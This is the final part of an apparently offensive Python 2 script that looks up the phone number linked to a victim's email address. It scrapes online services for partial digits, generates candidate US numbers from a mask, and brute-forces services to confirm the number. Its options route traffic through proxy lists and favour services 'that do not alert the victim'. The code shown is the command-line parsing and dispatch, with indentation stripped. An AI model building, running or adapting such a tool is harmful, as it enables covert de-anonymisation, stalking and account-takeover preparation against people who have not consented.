exit(RED + "Could not read file " + args.proxies + ENDC)
fileContent = f.read()
fileContent = filter(None, fileContent) # Remove last \n if needed
proxyListUnformatted = fileContent.split("\n")
f.close()
for proxyUnformatted in proxyListUnformatted:
separatorPosition = proxyUnformatted.find("://")
proxyList.append({proxyUnformatted[:separatorPosition]: proxyUnformatted[separatorPosition+3:]})
############ MAIN ############
parser = argparse.ArgumentParser(description='An OSINT tool to find phone numbers associated to email addresses')
subparsers = parser.add_subparsers(help='commands')
scrape_parser = subparsers.add_parser('scrape', help='scrape online services for phone number digits')
scrape_parser.add_argument("-e", required=True, metavar="EMAIL", dest="email", help="victim's email address")
scrape_parser.add_argument("-p", metavar="PROXYLIST", dest="proxies", help="a file with a list of https proxies to use. Format: https://127.0.0.1:8080")
scrape_parser.add_argument("-q", dest="quiet", action="store_true", help="scrape services that do not alert the victim")
generator_parser = subparsers.add_parser('generate', help="generate all valid phone numbers based on NANPA's public records")
generator_parser.add_argument("-m", required=True, metavar="MASK", dest="mask", help="a masked 10-digit US phone number as in: 555XXX1234")
generator_parser.add_argument("-o", metavar="FILE", dest="file", help="outputs the list to a dictionary")
generator_parser.add_argument("-q", dest="quiet", action="store_true", help="use services that do not alert the victim")
generator_parser.add_argument("-p", metavar="PROXYLIST", dest="proxies", help="a file with a list of https proxies to use. Format: https://127.0.0.1:8080")
bruteforce_parser = subparsers.add_parser('bruteforce', help='bruteforce using online services to find the phone number')
bruteforce_parser.add_argument("-e", required=True, metavar="EMAIL", dest="email", help="victim's email address")
bruteforce_parser.add_argument("-m", metavar="MASK", dest="mask", help="a masked, 10-digit US phone number as in: 555XXX1234")
bruteforce_parser.add_argument("-d", metavar="DICTIONARY", dest="file", help="a file with a list of numbers to try")
bruteforce_parser.add_argument("-p", metavar="PROXYLIST", dest="proxies", help="a file with a list of HTTPS proxies to use. Format: https://127.0.0.1:8080")
bruteforce_parser.add_argument("-q", dest="quiet", action="store_true", help="use services that do not alert the victim")
bruteforce_parser.add_argument("-v", dest="verbose", action="store_true", help="verbose output")
args = parser.parse_args()
vars(args)["action"] = sys.argv[1] # Add missing param
if args.action=="scrape":
if args.proxies:
setProxyList()
startScraping(args.email, args.quiet)
elif args.action=="generate":
if not re.match("^[0-9X]{10}", args.mask):
exit(RED + "You need to pass a US phone number masked as in: 555XXX1234" + ENDC)
if args.proxies:
setProxyList()
possiblePhoneNumbers = getPossiblePhoneNumbers(args.mask)
if args.file:
with open(args.file, 'w') as f:
f.write('\n'.join(possiblePhoneNumbers))
print GREEN + "Dictionary created successfully at " + os.path.realpath(f.name) + ENDC
f.close()
else:
print GREEN + "There are " + str(len(possiblePhoneNumbers)) + " possible numbers" + ENDC
print GREEN + str(possiblePhoneNumbers) + ENDC
elif args.action=="bruteforce":
if args.email and not re.match(r"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$)", args.email):
exit(RED + "Email is invalid" + ENDC)
if (args.mask and args.file) or (not args.mask and not args.file):
exit(RED + "You need to provide a masked number or a file with numbers to try" + ENDC)
if args.mask and not re.match("^[0-9X]{10}", args.mask): exit(RED + "You need to pass a 10-digit US phone number masked as in: 555XXX1234" + ENDC)
if args.file and not os.path.isfile(args.file): exit(RED + "You need to pass a valid file path" + ENDC)
print "Looking for the phone number associated to " + args.email + "..."
if args.mask:
possiblePhoneNumbers = getPossiblePhoneNumbers(args.mask)
else:
f = open(args.file, "r")
if not f.mode == 'r':
f.close()
exit(RED + "Could not read file " + args.file + ENDC)
fileContent = f.read()
fileContent = filter(None, fileContent) # Remove last \n if needed
possiblePhoneNumbers = fileContent.split("\n")
f.close()
if args.proxies:
setProxyList()
startBruteforcing(possiblePhoneNumbers, args.email, args.quiet, args.verbose)
else:
exit(RED + "action not recognized" + ENDC)